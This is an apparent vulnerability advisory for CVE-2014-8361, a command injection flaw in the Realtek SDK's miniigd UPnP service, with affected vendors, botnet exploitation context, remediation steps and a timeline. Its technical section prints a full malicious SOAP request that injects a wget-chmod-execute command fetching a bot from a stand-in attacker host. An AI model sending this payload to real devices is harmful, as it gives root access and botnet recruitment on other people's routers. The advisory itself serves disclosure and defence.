What Is Realtek SDK?
Realtek Semiconductor is a major Taiwanese chip manufacturer producing network interface controllers, Wi-Fi chipsets, and system-on-chips (SoCs) used in consumer routers, network-attached storage (NAS) devices, IP cameras, smart TVs, and other IoT products. Realtek provides a reference SDK (Software Development Kit) that router manufacturers use as a foundation for their firmware. The miniigd daemon in this SDK implements a UPnP (Universal Plug and Play) IGD (Internet Gateway Device) service using a SOAP interface — allowing devices on the local network to request port forwarding and other configuration changes. Because many manufacturers ship Realtek SDK firmware with minimal modification, a vulnerability in the SDK affects products from dozens of vendors simultaneously.
Overview
CVE-2014-8361 is a critical command injection vulnerability in the Realtek SDK's miniigd SOAP service. The service processes UPnP requests — including NewInternalClient — without properly validating input. An attacker on the network (LAN, or WAN if the UPnP/SOAP service is exposed to the internet) can inject shell commands via the NewInternalClient parameter, achieving unauthenticated remote code execution as root on the device. Because Realtek's SDK underlies firmware from D-Link, Tenda, Netgear, and many other manufacturers, tens of millions of devices were affected. The vulnerability has been actively exploited by Mirai variants and other botnet malware for years.
Affected Versions
Devices using Realtek RTL81xx series chipsets with the vulnerable SDK firmware, including:
| Vendor | Affected Devices |
|---|---|
| D-Link | Multiple models using Realtek chipset (see SAP10055) |
| Tenda | Multiple home router models |
| Netgear | Certain older models |
| Other OEMs | Any device using Realtek SDK with miniigd |
Specific firmware versions vary by manufacturer. Many affected devices are end-of-life with no patch available.
Technical Details
Root Cause: Unsanitized Shell Metacharacters in SOAP Handler
The miniigd daemon processes incoming UPnP SOAP requests for port mapping operations (AddPortMapping, GetExternalIPAddress, etc.). The NewInternalClient field in an AddPortMapping SOAP request is passed to a shell command without sanitizing shell metacharacters (;, |, `, $(), etc.).
Example malicious SOAP request:
POST /picsdesc.xml HTTP/1.1
Host: 192.168.1.1:52869
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>47450</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>44382</NewInternalPort>
<NewInternalClient>`wget http://attacker.com/bot -O /tmp/bot; chmod 777 /tmp/bot; /tmp/bot`</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>test</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
The backtick-enclosed command executes as root on the router when miniigd processes the request. The same technique works with $(...) substitution syntax.
Internet Exposure
UPnP is designed for LAN use but is frequently misexposed. The miniigd service is often bound to the LAN interface but reachable from the WAN on misconfigured devices, or accessible from the LAN side during a secondary attack. Shodan and similar scanners routinely find UPnP SOAP services exposed on internet-accessible IPs.
Attack Characteristics
| Attribute | Detail |
|---|---|
| Attack Vector | Network — SOAP/HTTP to miniigd service |
| Authentication | None required |
| Privileges | Root on target device |
| Affected Devices | Millions of consumer/SMB routers and IoT |
| CVSS | 9.8 CRITICAL |
Discovery
Discovered by security researchers studying Realtek SDK-based router firmware in early 2015 and reported through D-Link's vulnerability disclosure program (advisory SAP10055). The vulnerability affects the underlying Realtek SDK, impacting all manufacturers using it.
Exploitation Context
- Mirai variants and successor botnets: CVE-2014-8361 is included in the exploit modules of multiple Mirai-based IoT botnets; automated scanners continuously probe for vulnerable devices and add them to DDoS-for-hire botnets
- Mass exploitation scale: With tens of millions of affected devices and minimal patch availability (end-of-life devices get no updates), this vulnerability has a persistent massive attack surface
- Cryptomining: Botnets exploit CVE-2014-8361 to install Monero mining software on routers, consuming device resources for attacker profit
- Botnet propagation: Compromised routers scan for and propagate to other vulnerable devices, creating self-replicating botnet behavior
- CISA KEV (2023): Added September 2023 — eight years after discovery — confirming continuous active exploitation
- No-patch scenario: Most affected devices are end-of-life consumer hardware that will never receive a security update; the attack surface persists indefinitely on unmanaged home and small office networks
Remediation
-
Check for firmware updates from your router manufacturer. If a patch is available for CVE-2014-8361, apply it immediately.
-
Replace end-of-life routers — many affected devices have no patch and will never receive one. Replace with a currently supported model from any vendor.
-
Disable UPnP on your router if not required: Administration → UPnP → Disable. UPnP provides convenience features but is frequently unnecessary and expands the attack surface significantly. Most home and SMB networks function normally without UPnP.
-
Verify UPnP is not WAN-exposed: Scan your router's WAN IP for port 52869 (common UPnP/SOAP port). If the UPnP service responds from the internet, disable it immediately.
-
Network segmentation: For IoT devices in general, consider placing them on a separate VLAN with restricted access to the main network and internet.
-
Indicator of compromise: Router behaving unusually (high CPU, unexpected DNS changes, unknown port forwarding rules) may indicate exploitation. Factory reset and firmware update (or replacement) are the recommended response.
Key Details
| Property | Value |
|---|---|
| CVE ID | CVE-2014-8361 |
| Vendor / Product | Realtek — SDK |
| NVD Published | 2015-05-01 |
| NVD Last Modified | 2025-10-22 |
| CVSS 3.1 Score | 9.8 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Severity | CRITICAL |
| CWE | CWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection') find similar ↗ |
| CISA KEV Added | 2023-09-18 |
| CISA KEV Deadline | 2023-10-09 |
| Known Ransomware Use | No |
CVSS 3.1 Breakdown
Required Action
Timeline
| Date | Event |
|---|---|
| 2015-01-23 | Vulnerability disclosed by security researchers studying Realtek SDK-based routers |
| 2015-05-01 | CVE-2014-8361 published by NVD |
| 2023-09-18 | Added to CISA Known Exploited Vulnerabilities catalog |
| 2023-10-09 | CISA BOD 22-01 remediation deadline |
References
| Resource | Type |
|---|---|
| NVD — CVE-2014-8361 | Vulnerability Database |
| CISA KEV Catalog Entry | US Government |
| D-Link Security Advisory SAP10055 (archived) — Realtek SDK miniigd SOAP Vulnerability | Vendor Advisory |
| Exploit-DB 37169 — Realtek SDK miniigd SOAP Command Injection | Security Research |